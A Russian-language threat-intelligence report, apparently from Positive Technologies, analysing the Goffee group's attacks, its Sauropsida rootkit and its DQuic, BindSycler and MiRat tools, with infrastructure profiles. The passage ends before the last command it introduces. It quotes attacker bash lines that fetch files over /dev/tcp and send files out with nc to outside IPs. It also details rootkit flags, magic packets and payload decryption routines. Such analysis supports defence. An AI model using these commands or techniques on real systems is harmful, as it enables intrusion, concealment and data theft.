- В ходе расследований инцидентов и изучения открытых источников был обнаружен ряд атак, проведенных группировкой Goffee, в которых применялись ранее не используемые злоумышленниками инструменты.
- В атаках использовались как широко известные опенсорсные инструменты, так и собственные наработки, основанные на открытых проектах. Большинство инструментов сделаны под Unix-системы.
- Для усложнения анализа используется упаковщик Ebowla, обфускатор для Golang garbler, а также свой собственный алгоритм для шифрования трафика и вредоносных файлов.
- Goffee активно использует инструменты для туннелирования трафика и тщательно скрывает свои C2.
- Группировка предпочитает использовать регистраторы Namecheap и NameSilo, российские IP-адреса на хостингах MivoCloud, Aeza, XHost, имеет особенную структуру доменов для каждого этапа.
Авторы:
Климентий Галкин
Cпециалист группы киберразведки TI-департамента экспертного центра безопасности Positive Technologies
Варвара Колоскова
Специалист группы исследования сложных угроз TI-департамента экспертного центра безопасности Positive Technologies
Ключевые моменты
Введение
В течение 2024 года несколько российских организаций обращались к команде PT ESC IR для расследования инцидентов, между которыми удалось обнаружить сходство. В рамках анализа вредоносная активность инцидентов была объединена в один кластер и связана с группой Goffee, атакующей российские организации с помощью фишинга с 2022 года. В одном из инцидентов был замечен неизвестный ранее руткит под Linux — Sauropsida.
Злоумышленники использовали ранее уже известные инструменты, такие как Powertaskel и owowa. Удалось обнаружить и новые: инструменты для туннелирования трафика BindSycler и DQuic, а также новый агент Mythic.
Первая атака
В середине июля 2024 года одна российская компания обратилась к команде PT ESC IR за помощью в расследовании вредоносной активности. В ходе расследования было выявлено, что злоумышленники использовали давно известный инструмент PowerTaskel. Также в нем был замечен код, позволяющий расширять возможности классического PowerTaskel путем загрузки дополнительных модулей. Загрузка дополнительных модулей происходит в три этапа.
На первом этапе определяется функция Get-ProcAddress. В случае успеха на сервер отправляется сообщение Get-ProcAddress: declared или Get-ProcAddress: OK.
Далее загружается несколько вспомогательных функций, которые взяты из открытых источников. Например, для определения типа функций используется Get-DelegateType, для создания трамплина на шеллкод используется функция Emit-CallThreadStub. Также определяются WinAPI-функции, необходимые для выделения памяти, запуска шеллкода и т. п.
Также подгружается C#-метод для копирования в неуправляемую память:
using System;
namespace UnmanagedCSharp
{
public static unsafe class UnmanagedCopier
{
public static void CopyManagedToUnmanagedMemory(byte[] src, IntPtr dst, int length)
{
fixed (byte* p = src)
{
IntPtr src_ptr = (IntPtr)p;
Buffer.MemoryCopy(src_ptr.ToPointer(), dst.ToPointer(), length, length);
}
}
}
}
На третьем этапе скрипт приступает к загрузке и запуску шеллкода. Сначала на сервер отправляется сообщение о старте загрузки шеллкода в формате XML:
<?xml version="1.0" encoding="utf-8"?>
<Objects>
<Object Type="System.Collections.Hashtable">
<Property Name="Key" Type="System.String">responses</Property>
<Property Name="Value" Type="System.Object[]">
<Property Type="System.Collections.Hashtable">
<Property Name="Key" Type="System.String">task_id</Property>
<Property Name="Value" Type="System.String">UID</Property>
<Property Name="Key" Type="System.String">user_output</Property>
<Property Name="Value" Type="System.String">"[...]Uploading shellcode`n"</Property>
<Property Name="Key" Type="System.String">completed</Property>
<Property Name="Value" Type="System.Boolean">False</Property>
</Property>
</Property>
</Property>
<Property Name="Key" Type="System.String">action</Property>
<Property Name="Value" Type="System.String">post_response</Property>
</Object>
</Objects>
Сам запрос, как и все последующие, шифруется однобайтовым XOR и кодируется в base64, после чего посылаются запросы для загрузки шеллкода:
<?xml version="1.0" encoding="utf-8"?>
<Objects>
<Object Type="System.Collections.Hashtable">
<Property Name="Key" Type="System.String">responses</Property>
<Property Name="Value" Type="System.Object[]">
<Property Type="System.Collections.Hashtable">
<Property Name="Key" Type="System.String">task_id</Property>
<Property Name="Value" Type="System.String">UID</Property>
<Property Name="Key" Type="System.String">upload</Property>
<Property Name="Value" Type="System.Object[]">
<Property Name="Key" Type="System.String">file_id</Property>
<Property Name="Value" Type="System.String">"6f344b4d-b37f-4ace-a8c4-0b3150f0ceed"</Property>
<Property Name="Key" Type="System.String">chunk_num</Property>
<Property Name="Value" Type="System[.]Int32">1</Property>
<Property Name="Key" Type="System.String">chunk_size</Property>
<Property Name="Value" Type="System[.]Int32">512000</Property>
</Property>
</Property>
</Property>
<Property Name="Key" Type="System.String">action</Property>
<Property Name="Value" Type="System.String">post_response</Property>
</Object>
</Objects>
При успехе посылается сообщение "[+]Uploaded $total_bytes bytes of shellcode". Далее происходит поэтапная загрузка шеллкода в потоке текущего процесса. Каждый этап, в том числе и результат внедрения шеллкода, журналируется на сервере злоумышленников с комментарием о завершении. В результате на сервер отправляется ответ "[+]Thread invoked successfully" с идентификатором потока, в котором запущен шеллкод.

К сожалению, нам не удалось получить загружаемый код от PowerTaskel, но следы его работы остались. После первоначального доступа в систему отправлялись инструменты для открытия сервера на зараженной машине с возможностью последующей загрузки файлов.
Следующим этапом в систему загружались необходимые злоумышленникам исполняемые файлы, для скрытия которых использовался ядерный руткит Sauropsida. В зависимости от операционной системы использовались следующие наборы инструментов:
| Операционная система | Пример имени файла | Способ для загрузки файлов | Полезная нагрузка | Использование руткита Sauropsida |
|---|---|---|---|---|
| Windows | 1cv8conn.exe | Сервер Chisel, упакованный с помощью инструмента Ebowla | Mythic-агент MiRat | Нет |
| Linux | systemd-resolved | TinyShell в режиме сервера | Nim-дроппер Sliver | Да |
В случае с Windows на зараженную систему загружался агент Mythic MiRat и запускался через многоэтапный DLL Sideloading. Основной легитимный исполняемый файл с именем wsmprovhost.exe в ходе выполнения подгружает для себя WsmSvc.DLL, которая, в свою очередь, подгружает mi.dll, вызывая экспортные функции MI_Application_InitializeV1 и mi_clientFT_V1. Сами функции являются заглушками, тогда как в DllMain реализован загрузчик MiRat.

В Linux-системе было замечено использование Sliver. Поставлялся он в дроппере Infinity Loader, написанном на языке Nim. Дроппер расшифровывает Sliver и записывает в анонимный файл stukllys, используя открытый дескриптор /proc/<currentPID>/fd/<stukllys_handle>, где currentPID — это PID текущего процесса. На этот файл создается symlink /usr/libexec/resolved, который далее запускается.
Последующие атаки
Октябрь 2024 года
Через три месяца, в октябре 2024 года, была обнаружена новая активность Goffee в атаке на другую российскую организацию. В ходе атаки использовался модифицированный вредоносный модуль owowa, применяемый для получения учетных записей пользователей, модифицированные Nim-дропперы Infinity Loader в новых форматах DLL, EXE и ELF. Конечной нагрузкой оставался Sliver.
В отличие от предыдущей версии дроппер Infinity Loader получил следующие модификации:
- Патчинг API-функций ETW для отключения журналирования
- Шифрование строк алгоритмом XOR со смещением:
def decrypt(xor_key, encr, size)
for i in range(size):
xor_byte = ((xor_key + i) >> 24) ^ ((xor_key + i) >> 16) ^ ((xor_key + i) >> 8) ^ ((xor_key + i))
xor_byte &= 0xff
encr[i] ^= xor_byte
return encr
- Использование API Sleep с большим временным промежутком для обхода песочниц
- Непрямой запуск шеллкода через API _SymEnumProcesses
Конец 2024 года
В конце 2024 года Goffee снова проявили активность. Проникнув в систему через скомпрометированную учетную запись и уязвимость одного из узлов, злоумышленники смогли получить доступ к интерпретатору bash. В системе жертвы были обнаружены команды для сбора информации об инфраструктуре и открытия удаленного соединения с серверами злоумышленников:
> base64 -d /tmp/tmp20230718 >/tmp/tmp20230719;chmod 755 /tmp/tmp/20230719;fil e/tmp/tmp/20230719
> cat < /dev/tcp/109.107.189.187/32561 > /tmp/tmp20230815;chmod 755 /tmp/tmp20230815
> nc 194.180.191.190 32561 < /lib/systemd/system/systemd-rsyslog.service
Для повышения привилегий в Linux-системах эксплуатировали уязвимость PolKit (CVE-2021-4034). Также использовались известные инструменты: RawCopy (для низкоуровневого копирования с NTFS-дисков), Impacket , Veeam Extract (для изучения резервных копий).
По окончании разведки Goffee загрузили в зараженную систему DQuic — UDP-туннель на протоколе QUIC, а на другие узлы инфраструктуры распространяли использованные ранее Chisel и TinyShell. Помимо этого, было загружено новое ВПО BindSycler, устанавливающее OpenSSH-туннель между машиной жертвы и промежуточным узлом Goffee.

В течение всего 2025 года мы наблюдали появление инструментов, причастных к данной атаке. Однако большинство из них исследовать не удалось, поскольку их расшифровка завязана на окружении целевой для каждого образца системы.
Описание ВПО
Исходя из всех обнаруженных активностей группировки Goffee удалось выявить ряд ключевых моментов:
- Характерное использование UDP-bind-соединений и туннелирование трафика
- Использование опенсорсных инструментов:
- Impacket;
- Chisel;
- TinyShell;
- Sliver, попадающего в систему с Nim-дроппером.
- Использование новых уникальных инструментов, которые не были атрибутированы ни к одной группировке ранее:
- DQiuc — bind-shell-сервер, работающий на протоколе QUIC;
- BindSycler — bind-SSH-туннель на Go, завернутый в упаковщик Ebowla;
- MiRat — небольшой шеллкод, агент Mythic;
- Sauropsida — модифицированный kernelmode/usermode-руткит Reptilia.
- Большинство обнаруженных вредоносных файлов были упакованы разными инструментами и алгоритмами, в зависимости от операционной системы:
- Для Windows характерно использование уже известного ранее опенсорсного упаковщика Ebowla. В качестве ключа для расшифровки полезной нагрузки злоумышленник загружает в зараженную систему файл в папку C:\Users\Public\Image. Его название служит отправной точкой для генерации ключа для расшифровки.
- Для Linux-файлов характерно использование упаковщика с одним и тем же алгоритмом RolMod13, описание которого будет ниже. Кроме упаковки полезной нагрузки этот алгоритм используется для расшифровки строк и для шифрования сообщений для C2.
Подробное описание перечисленных инструментов будет представлено в последующих разделах статьи.
Загрузчик
В процессе изучение вредоносных файлов был замечен наиболее часто используемый алгоритм расшифровки, благодаря которому эти файлы были атрибутированы к одной кампании. Алгоритм похож на сильно модифицированный rol13. В честь этого он назван RolMod13, так как его отличает добавлением XOR-ключа и сдвига в зависимости от текущего индекса массива. Рассмотрим сам алгоритм:
def decrypt_module(size, ea, xor_dword):
bb = get_bytes(ea, size)
out = b''
for i in range(0, size, 4):
dword = struct.unpack("<I", bb[i:i+4])[0]
dword ^= rol((size - i) ^ xor_dword, (size - i) % 0xd, 32)
out += struct.pack("<I", dword)
return out
Алгоритм распаковки и загрузки кода в память состоит из следующих действий:
1. Сначала расшифровывают строки алгоритмом выше. Для удобства тут уже указан результат расшифровки.

В качестве параметров в функцию fnStrDecrypt передается указатель на зашифрованный массив байтов, его длина и DWORD — XOR-ключ.
2. Далее проверяется команда запуска текущего процесса. Если она не соответствует указанной в конфигурации строке, то вредонос перезапускается с заданным окружением и командной строкой из конфигурации при помощи execve, а текущий процесс на этом завершается. Изначальный интерпретатор команды при этом не меняют. В данном примере процесс запускается с параметрами /usr/sbin/rsyslogd -n -iNONE и окружением с PATH=/sbin:/bin:/usr/sbin:/usr/bin.

3. После проверки полезная нагрузка расшифровывается алгоритмом RolMod13 и загружается в память с сохранением исходных аргументов и переменных окружения. Расшифрованная полезная нагрузка является ELF-файлом со статически связанными библиотеками.
Sauropsida
Sauropsida — это руткит, созданный на основе опенсорсного проекта под Linux Reptile. Сам руткит состоит из usermode-части и ядерного модуля. Инструмент позволяет злоумышленнику осуществлять удаленное управление системой, а также скрывать следы своего присутствия. Программно вредонос сильно не изменился, если провести сравнение с оригинальной версией. Исходя из строк внутри ВПО и специфического заголовка SAU для лог-сообщений, можно предположить, что образец назван злоумышленниками Sauropsida (что с латыни переводится как «рептилия»).

Семпл загружен в систему, накрытый модифицированным UPX. В данном случае классические байты 55 50 58 21 были заменены на A1 D8 D0 D5.
Usermode part
Usermode-часть представляет из себя многофункциональный инструмент: в зависимости от аргументов командной строки (или их отсутствия) он может выступать в роли загрузчика руткита, reverse shell или коннектора для управления руткитом. При первоначальной загрузке без аргументов и при запуске из-под root начинает расшифровывать kernel module алгоритмом RolMod13 и запускает модуль при помощи syscall init_module. В качестве параметров передает следующую строку:
exe_path=%s ld_sym=0x%Здесь первый параметр — это путь до исполняемого файла Sauropsida, второй параметр — адрес функции kallsyms_lookup_name.
В последней версии usermode-модуля используется следующий список ключей для различных параметров запуска: RBHSUdN:P:I:t:s:p:r:F:M:O:. Расшифруем значение данных команд:
- R: получить root
- B: bind connection — установить флаг для создания bind-соединения
- F: имя файла, который нужно скрыть из системы
- H: скрыть ядерную часть руткита из списка модулей
- I: IP-адрес, соединение с которым надо скрыть
- M: закрепить модуля ядра в системе
- N: имя процесса для скрытия
- O: имя демона для скрытия
- P: PID процесса для скрытия
- S: остановить скрытие самого себя
- U: unload, выгрузка ядерного модуля
- d: debug mode
- p: port для reverse или bind shell
- r: connection delay
- t: target ip для reverse shell
- s: secret, сессионный ключ для reverse shell
Данные команды выполняются в модуле ядра. При каждом запуске с новыми параметрами usermode-модуль посылает ioctl характерного формата модулю ядра для общения с ним.

Как видно на рисунке выше, константы 0xA1306656 и 0xFEB18432 выступают словами-маркерами, по которым руткит ориентируется, что команда послана именно ему. Все, что заключено между этими константами, считается командой и ее параметрами. Описание команд будет ниже, в разделе «Модуль ядра».
Стоит отметить, что в случае указания параметра target ip происходит немедленная настройка reverse-shell-соединения (если указан только параметр port и установлен флаг -B, то bind shell). В данном случае обязательно указывается параметр secret: он используется в качестве сессионного ключа в соединении с C2.
Reverse и bind shell базируются на TinyShell. В нем также используются HMAC SHA-1 и AES для защиты сессии. В файл /tmp/righthere.txt записывается журнал сессии. Соединение происходит по протоколу UDP, для его реализации используются API-вызовы recvfrom и sendto.

Сам reverse shell имеет стандартные команды:
- 1: отправить файл
- 2: загрузить файл
- 3: принять команду и выполнить ее при помощи bash
- 4: обновить delay
- 5: heartbeat
- ;7(Zu9YTsA7qQ#vw: конец соединения
Модуль ядра
При загрузке ядерного модуля в первую очередь управление передается функции sauropsida_init. Если загрузка произошла без параметров или названия файла sauropsida_12345 (видимо, артефакт тестовых запусков), то происходит автозагрузка модуля.

Автозагрузка нужна, если запуск произошел после перезагрузки компьютера или был некорректен. При этом происходит извлечение сохраненных параметров и команд из /etc/timeinfo, которые необходимо выполнить при автозагрузке. Речь о структуре этого файла пойдет ниже.
При нормальном запуске инициализируют все необходимые хуки функций при помощи опенсорсного движка khook. Список всех перехватов, которые есть в Sauropsida, но отсутствуют в Reptile:
- sys_recvmsg и __x64_sys_recvmsg — скрытие пакетов от netlink;
- __x64_sys_sendmsg и sys_sendmsg — скрытие пакетов от netlink;
- __x64_sys_getdents64, sys_getdents и __x64_sys_getdents — скрытие файлов при листинге директории (см. описание аналогичной методики);
- perf_event_fork, proc_exec_connector — скрытие процесса по его имени.
При этом информация о возможности перехвата таких функций, как proc_exec_connector, perf_event_fork, не распространена, это уникальная техника, используемая в данном вредоносе. В то же время у Sauropsida практически отсутствует функциональность для сокрытия содержания файлов, которая присутствует в Reptile.
Говоря про базовые перехваты, заимствованные из Reptile, стоит упомянуть про перехват функции inet_ioctl. Он используется для получения всех поступающих от пользовательского модуля команд. В ioctl проверяются все входящие сообщения и ищутся слова-маркеры. Если они найдены, значит, между двумя маркерами находится команда. Таким образом в рутките вычисляют номер передаваемой команды из usermode-части Sauropsida.

Вот список обрабатываемых команд:
- 0: скрыть самого себя
- 1: скрыть процесс по PID
- 2: скрыть процесс по имени
- 3: скрыть демон
- 4: ничего не делает
- 5: получить root
- 6: скрыть сетевое соединение
- 7: отменить скрытие сетевого соединения
- 8: скрыть bind-соединение по указанному порту
- 9: скрыть файл (по inode)
- 10: вернуть состояния — скрыт или не скрыт собственный модуль
- 11: сохранить все объекты, которые передавались для скрытия в ядерный модуль, в базу данных (об этом ниже)
Но где же C2 во всей этой истории? После создания хуков руткит запускает Port Knocking. Для всех UDP-пакетов проверяется начало: если пакет начинается с hax0r_or_not_ или mag1c, то получен магический пакет. Данный пакет ожидается на зараженной машине и содержит зашифрованную конфигурацию. В первом случае получают C2 для reverse shell, во втором — порт для bind shell. Пакет также расшифровывается алгоритмом RolMod13.

После расшифровки переданного магического пакета десериализуют его данные. Структура пакета следующая:
(hax0r_or_not_|mag1c)?<encoded(<ip_str>\s<port_str>)>После идет перезапуск usermode-модуля c параметрами для включения reverse shell или bind shell.

Для промежуточного хранения информации используются отдельный swap-файл (по умолчанию это файл /etc/timeinfo). Иногда команда требует несколько промежуточных действий, и тогда в swap-файл записываются зашифрованные данные. Информация записывается фрагментами следующего вида:
0 1 3 3+size
|type| size| encr_data|
Данные шифруются XOR с байтом 0xE1. Классификация типов, используемых для записи данных:
- 7: service name
- 6: process name
- 5: file inode
- 4: nothing
- 3: ip address
- 2: ld_sym — второй параметр при загрузке модуля
- 1: exe_path — путь загрузки
- 0: команда для автозапуска
DQuic
DQuic представляет собой UDP bind shell, туннелирующий трафик при помощи протокола QUIC. Для реализации протокола используется открытая библиотека picoquic. В ходе сравнения открытого кода библиотеки с дизассемблированными кодом функций семпла было обнаружено, что используется достаточно старая версия данной библиотеки. Это дает нам предположить, что разработка инструмента началась еще в 2023 году.
При первом запуске после распаковки выполняется fork, и работа продолжается в дочернем процессе. Далее происходит инициализация конфига и последующая расшифровка сертификата и приватного ключа для установки соединения. Расшифровка происходит по уже известному алгоритму RolMod13.

Вначале инициализируется QUIC-контекст при помощи quic_create. В качестве параметров указывается сертификат, приватный ключ, alpn (в нашем случае udp), а также callback-функция для обработки команд. В качестве параметра этой callback-функции передается ранее заполненный конфиг. Функция quic_create принадлежит библиотеке picoquic, не будем останавливаться на ней и рассмотрим подробнее передаваемую callback-функцию. Данная функция обрабатывает стандартные события picoquic:
- picoquic_callback_stream_data — получение данных и выполнение команды от пира при помощи функции event_handler;
- picoquic_callback_stream_fin — получение FIN от пира и остаточное выполнение скопившихся команд при помощи функции event_handler;
- picoquic_callback_prepare_to_send — подготовка данных для отправки;
- picoquic_callback_ready — отправка данных на указанный в конфиге порт.
Если же вернуться в main, то мы увидим обработчик пакетов picoquic_packet_loop_win, который поддерживает в цикле и обрабатывает функцией loop_callback пакеты, направленные серверу по указанному bind_port. В нашем случае порт был нулевым, что означает подключение к любому свободному порту.

Внутри loop_callback происходит подключение к C2 в функции fninitClient, а также переподключение по истечении большого промежутка времени.

При подключении клиента-злоумышленника в качестве функции обработчика используется тот же qevent_handler, который и будет основным обработчиком туннеля DQuic.

Перейдем к его внутреннему устройству.

Диспетчер команд может находится в пяти состояниях (см. рис. выше). Первое состояние является интерактивным обработчиком, который управляет выполнением текстовых команд от клиента.
Режим shell имеет команду help, благодаря которой можно понять возможности DQuic:
This is an internal command shell. Supported commands are:
help - print this message
get [remote file] [local directory] - get file from the remote node
put [local file] [remote directory] - put file into the remote node
socks [action] [action params...] - SOCKS5 proxy server control, actions:
add [direction] [{IP}:port] - add proxy server on specified port, IP is optional
dir - direct proxy (from local to remote)
rev - reverse proxy (from remote to local)
remove [port] - remove proxy server on specified port
show - show all proxy servers
exit - exit internal shell
Команды get и put переводят диспетчер в состояния 2 и 3 соответственно.
При вызове команды socks add в состоянии shell диспетчер перейдет в состояние 4. Он создаст сокет для указанной прокси. Затем выполнение перейдет к состоянию 5, которое и будет отвечать за чтение-запись внутри созданной прокси.
BindSycler
BindSycler — это написанный на Golang shell, туннелирующий трафик при помощи протокола SSH. В зависимости от настраиваемых параметров может работать как в режиме TCP, так и UDP. Сам инструмент обфусцирован при помощи инструмента garble, в связи с чем часть имен функций отсутствует, а большинство библиотек и типов переименовано.
В начале работы BindSycler настраивает собственный конфиг:
struct config
{
bool Debug_flag; // включение режима отладки
bool KnockBack_flag; // установка соединения с сервером
strstr DialAddress; // адрес для установления соединения
strstr DialNetwork; // сеть для установления соединения (tcp/udp)
bool BindServer_flag; // запуск bind-сервера
strstr BindAddress; // адрес для привязки сервера
strstr BindNetwork; // сеть для привязки сервера (tcp/udp)
strstr BindTlsServer_Flag; // запуск bind-сервера в режиме TLS
strstr FixtureSsh_ServerKey; // ключ SSH
slice FixtureAuthorized_KeyPub; // Ключ для аутентификации
double SyclePeriod;
__int64 SycleJitterFactor;
bool TlsKnockBack_flag; // установка соединения с сервером в режиме TLS
strstr TlsDialAddress; // адрес для установления соединения в режиме TLS
strstr TlsDialNetwork; // сеть для установления соединения (tcp/udp) в режиме TLS
__int64 TlsCyclePeriod;
double TlsCycleJitterFactor;
strstr BindTlsServerAddress; // адрес для привязки сервера в режиме TLS
strstr BindTlsServerNetwork; // сеть для привязки сервера (tcp/udp) в режиме TLS
__int64 Pointer; // Не используется, вероятно дополнительные ключи для TLS
};
Значения полей FixtureSsh_ServerKey и FixtureAuthorized_KeyPub передаются в секции данных самого инструмента.
В зависимости от параметров конфигурации сети происходит инициализация bind-сервера и dial-соединение с C2. Флаги KnockBack_flag, TlsKnockBack_flag показывают, устанавливать ли соединение с сервером, в то время как BindServer_flag и BindTlsServer_Flag отвечают за формат включенного сервера. При этом эти флаги не взаимоисключаемые: BindSycler может «поднять» несколько серверов и общаться с несколькими C2. За концы туннеля отвечают две функции — binder и sycler. Первая используется для установки bind-соединения для ожидания входящих соединений. Затем она перенаправляет все в обработчик для SSH.

Вторая с заданными временными параметрами SyclePeriod и SycleJitterFactor поддерживает постоянное соединение с сервером.

Для обработки задач от сервера используется функция donkey.

Она устанавливает dial-соединение с сервером. После этого новое соединение попадает в единую функцию-обработчик — SSH Connection. Основная функция ssh во многом списана с примера из опенсорсной библиотеки ssh golang. Используются те же названия классов и та же структура вложенности, а также похожая кодовая база, хоть и расширенная под функции APT-группировки.


Поддерживаются четыре типа ssh channel:
- ssh: в этом случае происходит переподключение по новому адресу;
- direct-tcpip: подключение для туннелирования трафика от клиента;
- session: поддерживает три команды:
- exec: выполнение заданной команды при помощи os.exec.Command();
- shell: перенаправление управления в интерпретатор (дефолтный cmd.exe);
- subsystem: включение передачи файлов по SFTP;
- forward-tcpip: подключение для туннелирования трафика для bind-соединения.
Интересно, что при использовании в системе русской локали создаются потоки для ввода с другой кодировкой — чтобы при подключении не ломалась кодировка и названия файлов отображались верно. Это еще раз указывает на то, что злоумышленники ориентировались на российский сегмент в своих атаках.

MiRat
MiRat — это агент фреймворка Mythic. Он представляет собой небольшой шелл, загружаемый в систему при помощи Sideloading.
Первое, что бросается в глаза, это использование динамического импорта на стадии загрузки первого этапа шеллкода. В качестве функции хеширования использован алгоритм FNV-1a с предварительным переносом всех строк в верхний регистр.

Затем управление передается на API CreateThread, в качестве параметра передается функция размером чуть меньше 2 МБ. Переходим в дизассемблер и находим, что один из базовых блоков функции занимает аномально большое место. Присмотревшись внимательно, можно заметить, что все это место занято побайтовым копированием шеллкода на стек, из-за чего появилась такая огромная функция. На эту область памяти вызывают VirtualProtect, после чего выполнение переходит к полезной нагрузке.

При запуске бэкдор создает мьютекс 6536bc83-5a38-4678-bfab-b2a723a86788 для того, чтобы избежать запуска нескольких экземпляров ВПО. После этого переходит к основной функциональности. Стоит заметить, что весь бэкдор состоит из одной нераздельной функции, делающей его анализ менее приятным. Для начала работы бэкдор подгружает динамически импорт, используя все тот же алгоритм FNV-1a с измененным начальным значением.
Бэкдор записывает почти каждое свое действие в файл history.hcl, оставляя запись формата %d/%d/%d %d:%d:%d %s %s, где первое — это дата, затем время, строка-комментарий и аргумент для нее. Данные не хранятся в чистом виде: перед записью в журнал каждая строка шифруются с XOR-ключом 49dd9765-c4c5-47d2-9c00-75c26a7d28b4.
При этом журнал создается по полному пути, указанному в программе. Документ создается в папке C:\\Users\\<username>\\Documents\\WSM\\history.hcl, где username использовался характерный для компьютера, на котором бэкдор запустили. Если создать по данному пути файл журнала не выйдет, то MiRat завершит свое выполнение. Из этого можно сделать вывод, что злоумышленники создали образец под атаку на конкретную организацию.
Сам MiRat является достаточно простым агентом Mythic: сперва он устанавливает защищенное соединение с C2, для идентификации жертвы генерирует случайный 20-символьный ID. После этого бэкдор ожидает команд от сервера. Сам MiRat может выполнять следующие команды:
- exit — завершить работу;
- sleep — установить новые значения для параметров jitter и interval в конфигурации агента;
- shell — запустить указанную в качестве параметра команду при помощи cmd /S /c;
- shell_inject — запуск шеллкода, полученного от сервера, в отдельном thread в рамках текущего процесса.
Анализ сетевой инфраструктуры
В ходе расследований инцидентов, а также поиска дополнительных индикаторов компрометации мы обнаружили несколько цепочек атаки, которые использовала группировка Goffee. Для обнаруженных сетевых индикаторов мы составили сетевые профили, характерные для злоумышленников.
Сетевой профиль — набор уникальных (особых) признаков, обнаруженных у сетевых индикаторов группировки, на основе которого можно прогнозировать новые узлы сетевой инфраструктуры. К уникальным признакам относятся, например:
- информация WHOIS (почта, улица, название организации или администратора и другие данные),
- используемые ключевые слова в доменах,
- используемые хостинги, ASN,
- поля в SSL-сертификатах,
- конфигурация серверов (открытые порты, сервисы).
Сетевые профили разных этапов атак
Если посмотреть на цепочку атаки с использованием HTA-файла, то можно заметить ряд закономерностей при подготовке злоумышленниками сетевой инфраструктуры. В общем контексте их можно увидеть на схеме ниже.

Рассмотрим каждый этап атаки группировки и покажем, какие особенности сетевой инфраструктуры были обнаружены и какие домены потенциально могут принадлежать Goffee. Некоторые сетевые индикаторы могут не попадать под сетевой профиль, но подтверждены в ходе расследования инцидентов.
Этап фишинга

Для фишинга группировка чаще всего использует домены зоны .ru/.рф, размещая вредоносные домены на русских IP-адресах «грязных» (то есть чаще используемых во вредоносных целях) хостингов — Aeza, VDSINA, MivoCloud и других. Для рассылки фишинговых писем используется инструмент GoPhish.
Gophish is an open-source phishing toolkit designed for businesses and penetration testers. It provides the ability to quickly and easily setup and execute phishing engagements and security awareness training.
Источник: GitHub (GoPhish)
Поиск потенциально интересных и новых доменов происходил на основе следующих действий:
- Просмотр IP-адресов, участвующих в атаках с целью найти новые домены (например, rkn-info.ru)
- Просмотр подсетей IP-адресов, участвующих в атаках
- Поиск похожих доменов по ключевым словам. Большинство доменов мимикрируют под государственные сервисы или другие приложения, используемые пользователями (например, digitalgov.ru, disk-yabdex.ru)
- Поиск связанных доменов по другим параметрам (например, по WHOIS)
- Поиск по отчетам и открытым источникам
На основе полученных данных сформировался так называемый predicted layer, в котором желтым цветом обозначены все домены, которые, по нашему мнению, могут участвовать в атаках Goffee. На данном этапе сетевой профиль Goffee выглядит следующим образом:
| Признак | Особенность |
|---|---|
| Используемые регистратор | Namecheap |
| Используемые инструмент для фишинга | GoPhish |
| Используемые хостинги и IP-адреса | Русские IP-адреса на хостингах MivoCloud, Aeza, VDSINA, XHost |
| Домен первого уровня | .ru, .рф, .tech, .online |
Этап загрузки дополнительных модулей PowerTaskel

Дополнительные модули для исполнения цепочки атаки доставляются с одноуровневых доменов в зоне .com/.org. Размещаются домены на уже известном наборе хостингов, на российских IP-адресах. Регистратор Namecheap редко дополняется другим — NameSilo, однако таких доменов обнаружено всего несколько.
Для поиска схожих доменов при анализе использовались те же операции, что и на предыдущем этапе: просмотр российских подсетей, тех же IP-адресов. Помимо этого, был добавлен отдельный шаг поиска схожих URL-ссылок, по которым хранилась полезная нагрузка.
Пример ссылок:
http://[REDACTED]/inhibiting/cries/aerobe/merchantman/cheeseburgers
https://[REDACTED]/page/push/turn/order
Как видно, часто ссылки строятся по принципу большой вложенности, директории называют случайными словами английского языка.
Сетевой профиль на этапе доставки вредоносного ПО выглядит так:
| Признак | Особенность |
|---|---|
| Используемые регистратор | Namecheap — чаще NameSilo — реже |
| Максимальный уровень домена | Домены второго уровня или IP-адреса |
| Используемые хостинги и IP-адреса | Русские IP-адреса на хостингах MivoCloud, Aeza, VDSINA, XHost |
| Домен первого уровня | .com, .org — чаще .host — реже |
Этап работы вредоносного ПО

Самая интересная часть изучения сетевых индикаторов — поиск доменов последней стадии цепочки атаки. Изучив большое количество серверов злоумышленников, найденных во время расследования инцидентов, удалось выявить ряд признаков.
| Признак | Значение |
|---|---|
| Используемые хостинги и IP-адреса | Хостинги с русскими подсетями (Aeza, MivoCloud, Beget, Stark Industries, VDSINA и др.) |
| Используемый уровень домена | Третий — чаще Второй — реже |
| Мимикрия | Российские разработки и системы Домены Unix-подобных систем Домены других систем, используемых пользователями |
| Ключевые слова | mirror, deb, app, repo, api, altlinux, astralinux, apt, pkg |
| Используемые домены первого уровня | .com Замечено использование .cloud |
| Регистратор | Namecheap |
Для поиска других индикаторов выполнялся поиск по ключевым словам, просмотр подсетей с IP-адресами на территории России.
Подтверждение выявленных особенностей. Атаки Goffee летом 2025 года
Начало июля. Атака на ОПК
В июле 2025 года была обнаружена новое фишинговое письмо от лица Минпромторга России, адресованное российской компании в сфере ОПК. Во вложении письма находился вредоносный архив minprom_04072025.rar с тремя файлами:
- Шаблон_запроса (7) (11).docx — документ-приманка;
- xpsrchvw74.exe — вредоносный исполняемый файл;
- письмо на СМ_(файл отображения).pdf — документ от лица Минпромторга России.



Особенность RAR-архива — использование CVE-2025-6218 для размещения ВПО в папке автозагрузки. Само ВПО являлся пропатченным загрузчиком документов XPS xpsrchvw.exe, внутри которого был Metasploit. Вредоносный шеллкод устанавливает соединение и открывает reverse shell.
Обнаруженные особенности инфраструктуры Goffee в этой атаке:
- Письмо отправлено с российского IP-адреса 213.171.4[.]200, на котором обнаружены домены rt-inforu[.]ru и impact-dns[.]ru.
- В цепочке атаки используется ссылка большой вложенности: hxxps://eliteheirs[.]org/checks/brandished/dyestuffs/abbess/interrelation
- Сам домен находится в зоне .org, второго уровня и зарегистрирован через NameSilo.
- Вредоносное ПО использует IP-адрес в русской зоне — 89.110.88[.]155 (VDSINA).
Дальнейшую цепочку атаки раскрыть не удалось, так как C2 злоумышленников на момент анализа перестал быть активным.
При поиске по похожим названиям удалось найти файл с названием xpsrchvw.exe. Проанализировав его, мы обнаружили в нем модифицированную часть в виде вредоносного шеллкода, вставленного на стадии предзагрузки. Он использует ту же обфускацию и динамический резолв API, что и MiRat. В результате загрузчик скачивает вредоносный декой — Excel-файл, находящийся по ссылке hxxps:// rulebest[.]com/earthlings/baled/confidants/contraflows/hyphened.xlsx. Файл сохраняют по адресу %TEMP%\mob2025.xlsx и запускают при помощи команды:
C:\Windows\System32\cmd.exe /c start "" "%TEMP%\mob2025.xlsx"К сожалению, на момент исследования ссылка не работала, и нам не посчастливилось получить декой. После шеллкод приступает к выполнению основных функций. Загрузчик запускает cmd со следующей командой:
